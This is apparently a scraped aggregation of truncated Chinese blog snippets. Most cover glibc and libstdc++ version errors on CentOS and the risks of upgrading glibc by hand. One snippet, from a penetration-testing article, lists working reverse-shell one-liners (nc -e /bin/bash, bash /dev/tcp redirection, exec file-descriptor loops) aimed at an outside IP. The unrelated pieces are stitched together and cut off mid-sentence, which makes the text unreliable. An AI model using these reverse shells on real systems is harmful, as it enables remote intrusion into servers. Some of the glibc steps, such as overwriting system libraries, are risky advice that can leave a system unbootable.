glibc

刚用户反映服务器rar版本低,下了个4.0的运行提示 /lib/libc.so.6: version `GLIBC_2.7′ not found 升级了centos的glibc库 yum -y update glibc 问题依旧。用命令查看glibc库的信息 rpm -qi glibc 显示系统的glibc库版本为2.5 在CentOS中用更新命令到2.5已经是最新版本了，只好手动下载 glibc 2.7 的源码包编译安装更新： 地址：http://ftp.gnu.org/pub/gnu/glibc/glibc-2.7.tar.gz cd /usr/local/src wget http://ftp.gnu.org/pub/gnu/glibc/glibc-2.7.tar.gz tar zxvf glibc-2.7.tar.gz glibc-2.7/configure #执行configure命令时不能进到glibc-2.7文件夹里面，否则无法执行 cd glibc-2.7 make && make install 注意：有的时候会出问题，说可能会导致glibc不可用，所以建议修改prefix，这样的话可以执行命令glibc-2.7/configure --prefix=/usr，然后在往下执行make && make install 来源： oschina 链接： https:/

现在 CentOS 8 还没出来，最新的是 CentOS 7.6，上面搭载的 glibc 版本是 2.17，都已经是 2012 年那时候的版本了。 现在开发者比较常用的桌面 Linux 系统，比如 Ubuntu / Debian / Mint / Arch / Manjaro 等，都是比较新的 glibc 版本了，比如 Ubuntu 18.04 已经到了 2.27 的版本了。在 glibc 2.18 的时候，引入了一个 __cxa_thread_atexit_impl 标记，所有基于 2.18 及以上的 glibc 环境编译的动态链接程序，如果放到 2.18 之前的 glibc 环境里跑，就会报错： ./foo: /lib/libc.so.6: version 'GLIBC_2.18' not found (required by ./foo) 这也是为什么在 Ubuntu 上编译个 Rust 的 helloworld 程序，放到 CentOS 上都跑不起来的原因。 也曾想过升级 CentOS 上的 glibc 版本，后来发现这样干太危险，在虚拟机上试一下手工编译升级，结果把 CentOS 搞挂了，起都起不来了！ 然后就不得不在虚拟机里跑一个 CentOS 来进行 Rust 程序的编译，这样编译出来的程序放到 CentOS 服务器上去跑得倒是很欢快，只是在虚拟机里跑 CentOS

导读 靠谱点的公司都不会将应用服务器直接对外，而是通过代理转发或映射等方式对外，当可以执行命令的服务器能够访问公网（这个要看具体情况，比如需要加载公网资源或者其他需求）时，反连技巧就会派上用场。 通常，在做渗透的时候会“运气好”，碰到某些应用上存在远程命令执行漏洞，近来由于java反序列化和二进制类漏洞的层出不穷，也加持着这种漏洞越发增多。 一般来说，靠谱点的公司都不会将应用服务器直接对外，而是通过代理转发或映射等方式对外，当可以执行命令的服务器能够访问公网（这个要看具体情况，比如需要加载公网资源或者其他需求）时，反连技巧就会派上用场。 反弹技巧总结： 1、NC反弹 Nc 1.1.1.1 8080 -e /bin/bash 2、Bash-socket反弹 /bin/bash -i > /dev/tcp/1.1.1.1/8080 0<&1 2>&1 3、Shell-socket反弹 a） exec 2>&0;0<&196; exec 196<>/dev/tcp/1.1.1.1/8080; sh <&196 >&196 2>&196 b） exec 5<>/dev/tcp/1.1.1.1/8080 cat <&5 | while read line; do $line 2>&5 >&5; done[分两句执行] 4、文件管道-nc/telnet反弹 a) rm /tmp/f

本人下了一个QQ for Linux 报错： /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.15' not found 出现该错误的原因是当前的GCC版本（昨天编译安装的gcc-4.8.0）中，没有GLIBCXX_3.4.15。查看libstdc++.so.6 所支持的GLIBC #strings /usr/lib/libstdc++.so.6 | grep GLIBC GLIBCXX_3.4 GLIBCXX_3.4.1 GLIBCXX_3.4.2 GLIBCXX_3.4.3 GLIBCXX_3.4.4 GLIBCXX_3.4.5 GLIBCXX_3.4.6 GLIBCXX_3.4.7 GLIBCXX_3.4.8 GLIBCXX_3.4.9 于是下了个 libstdc++.so.6.0.17文件复制到 /usr/lib 文件夹下面更新到了 GLIBCXX_3.4.17 #strings /usr/lib/libstdc++.so.6 | grep GLIBC 输出 GLIBCXX_3.4 GLIBCXX_3.4.1 GLIBCXX_3.4.2 GLIBCXX_3.4.3 GLIBCXX_3.4.4 GLIBCXX_3.4.5 GLIBCXX_3.4.6 GLIBCXX_3.4.7 GLIBCXX_3.4.8 GLIBCXX_3.4.9

在你准备升级GLIBC库之前，你要好好思考一下， 你真的要升级GLIBC么？ 你知道你自己在做什么么？ http://baike.baidu.com/view/1323132.htm?fr=aladdin glibc是 gnu 发布的libc 库 ，即c 运行库 。glibc是 linux系统 中最底层的 api ，几乎其它任何 运行库 都会依赖于glibc。glibc除了 封装 linux 操作系统 所提供的 系统服务 外，它本身也提供了许多其它一些必要功能服务的实现... 总的来说，不说运行在linux上的一些应用，或者你之前部署过的产品，就是很多linux的基本命令，比如cp, rm, ll之类，都得依赖于它 网上很多人有惨痛教训，甚至升级失败后系统退出后无法重新进入了。。 对于CentOS这样的系统，为了追求稳定性（这个值得商榷）往往各种库版本都很低，比如6.5甚至7.0自带的还是glibc2.12, 而ubuntu 14.04带glibc2.19 如果升级基本C运行库到一个太新的版本，可能会影响CentOS的运行。所以大家如果遇到CentOS基本库的问题，影响了自己程序的运行，应该可以考虑： 1. 在低版本的系统编译自己的产品，如果自己的产品确实不需要新版才支持的新特性 2. 用版本高的系统来编译，比如ubuntu，和centos的新版，但可能需要部署到较低版本